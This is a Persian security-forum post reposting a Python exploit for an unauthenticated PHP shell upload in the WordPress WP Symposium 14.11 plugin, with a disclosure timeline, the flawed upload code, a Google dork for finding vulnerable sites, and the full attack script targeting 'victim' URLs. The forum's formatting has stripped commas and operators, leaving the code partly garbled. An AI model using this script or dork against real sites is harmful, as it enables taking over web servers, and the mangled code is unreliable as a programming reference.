انجمن تیم امنیتی ایران سایبر

Wordpress Wp Symposium 14.11 - Unauthenticated Shell Upload Exploit

شروع موضوع توسط Mr.iran ‏15/12/14 در انجمن Web Application Exploits

  1. لطفا فایل های خود را جهت ماندگاری در انجمن اپلود کنید در صورت مشاهده لینک اپلود خروجی , تاپیک حذف خواهد شد .
    بستن اطلاعیه
بستن اطلاعیه


درود مهمان گرامي؛

مهمان گرامي، براي مشاهده تالار با امکانات کامل ميبايست از طريق ايــن ليـــنک ثبت نام کنيد .

حامی مسابقات و برگزار کننده دوره های پیشرفته ارزیابی امنیت برای سازمان ها فتح پرچم (CTF)
  1. Mr.iran
    کاربرتازه وارد

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏21/11/14
    ارسال ها:
    159
    تشکر شده:
    6
    PHP:
    #!/usr/bin/python
    #
    # Exploit Name: Wordpress WP Symposium 14.11 Shell Upload Vulnerability
    #
    #
    # Vulnerability discovered by Claudio Viviani
    #
    # Exploit written by Claudio Viviani
    #
    #
    # 2014-11-27:  Discovered vulnerability
    # 2014-12-01:  Vendor Notification (Twitter)
    # 2014-12-02:  Vendor Notification (Web Site)
    # 2014-12-04:  Vendor Notification (E-mail)
    # 2014-12-11:  No Response/Feedback
    # 2014-12-11:  Published
    #
    # Video Demo + Fix: https://www.youtube.com/watch?v=pF8lIuLT6Vs
    #
    # --------------------------------------------------------------------
    #
    # The upload function located on "/wp-symposium/server/file_upload_form.php " is protected:
    #
    #   if ($_FILES["file"]["error"] > 0) {
    #       echo "Error: " . $_FILES["file"]["error"] . "<br>";
    #   } else {
    #       $allowedExts = ','.get_option(WPS_OPTIONS_PREFIX.'_image_ext').','.get_option(WPS_OPTIONS_PREFIX.'_doc_ext').','.get_option(WPS_OPTIONS_PREFIX.'_video_ext');
    #       //echo "Upload: " . $_FILES["file"]["name"] . "<br>";
    #       $ext = pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);
    #       //echo "Extension: " . $ext . "<br />";
    #       if (strpos($allowedExts, $ext)) {
    #       $extAllowed = true;
    #       } else {
    #           $extAllowed = false;
    #       }
    #       //echo "Type: " . $_FILES["file"]["type"] . "<br>";
    #       //echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
    #       //echo "Stored in: " . $_FILES["file"]["tmp_name"];
    #
    #       if (!$extAllowed) {
    #           echo __('Sorry, file type not allowed.', WPS_TEXT_DOMAIN);
    #       } else {
    #           // Copy file to tmp location
    #   ...
    #   ...
    #   ...
    #
    # BUTTTTT "/wp-symposium/server/php/index.php" is not protected and "/wp-symposium/server/php/UploadHandler.php" allow any extension
    #
    # The same vulnerable files are locate in "/wp-symposium/mobile-files/server/php/"
    #
    # ---------------------------------------------------------------------
    #
    # Dork google:  index of "wp-symposium"
    #
    #
    # Tested on BackBox 3.x with python 2.6
    #
    # Http connection
    import urlliburllib2socket
    #
    import sys
    # String manipulator
    import stringrandom
    # Args management
    import optparse
    # File management
    import osos.pathmimetypes
     
    # Check url
    def checkurl(url):
        if 
    url[:8] != "https://" and url[:7] != "http://":
            print(
    '[X] You must insert http:// or https:// procotol')
            
    sys.exit(1)
        else:
            return 
    url
     
    # Check if file exists and has readable
    def checkfile(file):
        if 
    not os.path.isfile(file) and not os.access(fileos.R_OK):
            print 
    '[X] '+file+' file is missing or not readable'
            
    sys.exit(1)
        else:
            return 
    file
    # Get file's mimetype
    def get_content_type(filename):
        return 
    mimetypes.guess_type(filename)[0] or 'application/octet-stream'
     
    def id_generator(size=6chars=string.ascii_uppercase string.ascii_lowercase string.digits):
        return 
    ''.join(random.choice(chars) for _ in range(size))
     
    # Create multipart header
    def create_body_sh3ll_upl04d(payloadnamerandDirNamerandShellName):
     
       
    getfields dict()
       
    getfields['uploader_uid'] = '1'
       
    getfields['uploader_dir'] = './'+randDirName
       getfields
    ['uploader_url'] = url_symposium_upload
     
       payloadcontent 
    open(payloadname).read()
     
       
    LIMIT '----------lImIt_of_THE_fIle_eW_$'
       
    CRLF '\r\n'
     
       
    = []
       for (
    keyvaluein getfields.items():
          
    L.append('--' LIMIT)
          
    L.append('Content-Disposition: form-data; name="%s"' key)
          
    L.append('')
          
    L.append(value)
     
       
    L.append('--' LIMIT)
       
    L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('files[]'randShellName+".php"))
       
    L.append('Content-Type: %s' get_content_type(payloadname))
       
    L.append('')
       
    L.append(payloadcontent)
       
    L.append('--' LIMIT '--')
       
    L.append('')
       
    body CRLF.join(L)
       return 
    body
     
    banner 
    """
      ___ ___               __
     |   Y   .-----.----.--|  .-----.----.-----.-----.-----.
     |.  |   |  _  |   _|  _  |  _  |   _|  -__|__ --|__ --|
     |. / \  |_____|__| |_____|   __|__| |_____|_____|_____|
     |:      |                |__|
     |::.|:. |
     `--- ---'
      ___ ___ _______        _______                                  __
     |   Y   |   _   |______|   _   .--.--.--------.-----.-----.-----|__.--.--.--------.
     |.  |   |.  1   |______|   1___|  |  |        |  _  |  _  |__ --|  |  |  |        |
     |. / \  |.  ____|      |____   |___  |__|__|__|   __|_____|_____|__|_____|__|__|__|
     |:      |:  |          |:  1   |_____|        |__|
     |::.|:. |::.|          |::.. . |
     `--- ---`---'          `-------'
                                                                  Wp-Symposium
                                                          Sh311 Upl04d Vuln3r4b1l1ty
                                                                    v14.11
     
                                     Written by:
     
                                   Claudio Viviani
     
                                http://www.homelab.it
     
                                   [email protected]
                               [email protected]
     
                          https://www.f*ac*ebook.com/homelabit
                            https://twitter.com/homelabit
                          https://plus.google.com/+HomelabIt1/
                 https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
    """
     
    commandList optparse.OptionParser('usage: %prog -t URL -f FILENAME.PHP [--timeout sec]')
    commandList.add_option('-t''--target'action="store",
                      
    help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
                      )
    commandList.add_option('-f''--file'action="store",
                      
    help="Insert file name, ex: shell.php",
                      )
    commandList.add_option('--timeout'action="store", default=10type="int",
                      
    help="[Timeout Value] - Default 10",
                      )
     
    optionsremainder commandList.parse_args()
     
    # Check args
    if not options.target or not options.file:
        print(
    banner)
        
    commandList.print_help()
        
    sys.exit(1)
     
    payloadname checkfile(options.file)
    host checkurl(options.target)
    timeout options.timeout
     
    print(banner)
     
    socket.setdefaulttimeout(timeout)
     
    url_symposium_upload host+'/wp-content/plugins/wp-symposium/server/php/'
     
    content_type 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'
     
    randDirName id_generator()
    randShellName id_generator()
     
    bodyupload create_body_sh3ll_upl04d(payloadnamerandDirNamerandShellName)
     
    headers = {'User-Agent''Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
               
    'content-type'content_type,
               
    'content-length'str(len(bodyupload)) }
     
    try:
        
    req urllib2.Request(url_symposium_upload+'index.php'bodyuploadheaders)
        
    response urllib2.urlopen(req)
        
    read response.read()
     
        if 
    "error" in read or read == "0" or read == "":
           print(
    "[X] Upload Failed :(")
        else:
           print(
    "[!] Shell Uploaded")
           print(
    "[!] Location: "+url_symposium_upload+randDirName+randShellName+".php\n")
     
    except urllib2.HTTPError as e:
        print(
    "[X] "+str(e))
    except urllib2.URLError as e:
        print(
    "[X] Connection Error: "+str(e))
     
بارگذاری...
به انجمن تخصصی امنیت ایران سایبر خوش آمدید . برای مشاهده تمامی تالار ها و امکانات ثبت نام کنید .